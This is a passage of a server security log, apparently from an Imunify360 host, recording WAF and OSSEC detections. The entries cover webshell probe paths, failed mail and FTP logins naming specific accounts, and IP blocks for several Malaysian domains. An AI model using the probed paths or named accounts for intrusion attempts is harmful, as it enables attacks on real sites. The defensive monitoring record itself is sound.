plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.62.64.225
country_id: 3439705
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541552 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.12.21.138
country_id: 6252001
description:
Jan 13 10:19:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.12.21.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.12.21.138
country_id: 6252001
description:
2026-01-13 10:19:38 dovecot_plain authenticator failed for H=104-12-21-138.lightspeed.chrlnc.sbcglobal.net (quirte) [104.12.21.138]:59069: 535 Incorrect authentication data (set_id=admin@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.177.9.119
country_id: 3865483
description:
2026-01-13 10:20:32 dovecot_login authenticator failed for H=(181-177-9-119.fiberway.com.ar) [181.177.9.119]:54788: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.65.21
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-20.167.160.65.21||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/contact.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:22:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62727: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:22:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62727: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.212.210.160
country_id: 3617476
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/hotel.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 182.62.160.90
country_id: 1733045
description:
[2026-01-13 10:22:44 +0800] info [webmaild] 182.62.160.90 - zawir@fkr.com.my "GET /cpsess7628445791/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [42.191.143.110] != Current IP Address [182.62.160.90]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-13 10:24:26 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:34140: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 18.97.19.130
country_id: 6252001
description:
Jan 13 10:24:26 sv3 pure-ftpd[15848]: (?@18.97.19.130) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.214.210.115
country_id: 1512440
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-25.95.214.210.115||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.66.228
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=500196 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.26
country_id: 3057568
description:
Jan 13 10:29:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.7.96
country_id: 3469034
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/1475280832.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 10:30:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.161.27.82
country_id: 6252001
description:
Jan 13 10:30:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.161.27.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.161.27.82
country_id: 6252001
description:
2026-01-13 10:30:23 dovecot_plain authenticator failed for H=c-174-161-27-82.hsd1.tn.comcast.net (taric) [174.161.27.82]:35594: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 10:30:29 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:36935: 535 Incorrect authentication data (set_id=angiehng@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.188
country_id: 298795
description:
Jan 13 10:32:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-13 10:32:20 H=([185.214.10.21]) [185.214.10.21]:55997 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-13 10:32:24 H=([45.144.212.54]) [45.144.212.54]:52247 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.127.118.136
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=286855 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.145
country_id: 298795
description:
Jan 13 10:35:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.145 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.13.209.144
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=672005 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.205
country_id: 953987
description:
Jan 13 10:36:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.205
country_id: 953987
description:
Jan 13 10:36:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.132
country_id: 3865483
description:
Jan 13 10:38:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.54.119.255
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=658383 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.151
country_id: 3865483
description:
Jan 13 10:39:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.151
country_id: 3865483
description:
Jan 13 10:39:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 14.216.7.176
country_id: 1814991
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.120.253.205
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/clients.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 93.183.92.77
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-41.93.183.92.77||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 10:42:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.43.129.42
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=22 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-13 10:44:15 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 10:46:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59142: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.193.89
country_id: 798544
description:
Jan 13 10:47:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.193.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59143: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.165
country_id: 953987
description:
Jan 13 10:49:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.80
country_id: 3175395
description:
Jan 13 10:48:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.186
country_id: 798544
description:
Jan 13 10:48:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.193.89
country_id: 798544
description:
Jan 13 10:48:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.193.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.211
country_id: 953987
description:
Jan 13 10:48:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.165
country_id: 953987
description:
Jan 13 10:49:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:50:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63024: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:50:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63024: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.137
country_id: 3469034
description:
Jan 13 10:50:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.3.174
country_id: 1562822
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/run/428/695501 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/font-awesome.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.179
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/fonts/fonts.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/products.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.221
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/main-responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.212
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/main.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.144
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/bootstrap/css/bootstrap.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/owl.theme.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.183.35
country_id: 3625428
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/owl.carousel.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/fonts/font_icons/fontawesome-webfonte0a5.woff2?v=4.3.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.43.154.109
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=719898 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.27.203
country_id: 3469034
description:
Jan 13 10:56:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.27.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.121.198.226
country_id: 2542007
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=972941 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.191
country_id: 3175395
description:
Jan 13 10:56:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.27.203
country_id: 3469034
description:
Jan 13 10:57:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.27.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 10:57:23 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:39206: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.44
country_id: 3175395
description:
Jan 13 10:59:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.249.49.252
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-59.104.249.49.252||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.134
country_id: 3469034
description:
Jan 13 10:59:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.81.149.210
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=382656 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.26
country_id: 3469034
description:
Jan 13 11:01:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.65
country_id: 3865483
description:
Jan 13 11:01:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.7.187.195
country_id: 3469034
description:
Jan 13 11:03:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.7.187.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.69.115.159
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.134
country_id: 3469034
description:
Jan 13 11:04:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.134
country_id: 3469034
description:
Jan 13 11:04:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 13 11:05:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-13 11:05:57 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (systrica) [50.74.136.134]:50646: 535 Incorrect authentication data (set_id=mail@kimmark.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.207.252.151
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=671968 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.231.91.247
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=158210 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.20.245.182
country_id: 1269750
description:
Jan 13 11:12:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.20.245.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.245.182
country_id: 1269750
description:
2026-01-13 11:12:02 dovecot_login authenticator failed for H=([182.78.255.201]) [125.20.245.182]:35266: 535 Incorrect authentication data (set_id=iliyas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.44
country_id: 1269750
description:
Jan 13 11:11:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.44
country_id: 1269750
description:
2026-01-13 11:11:34 dovecot_login authenticator failed for H=([103.147.248.44]) [103.147.248.44]:56760: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.29
country_id: 953987
description:
Jan 13 11:11:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.29
country_id: 953987
description:
Jan 13 11:12:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.8.165.155
country_id: 3625428
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/contact-us HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.139.84.97
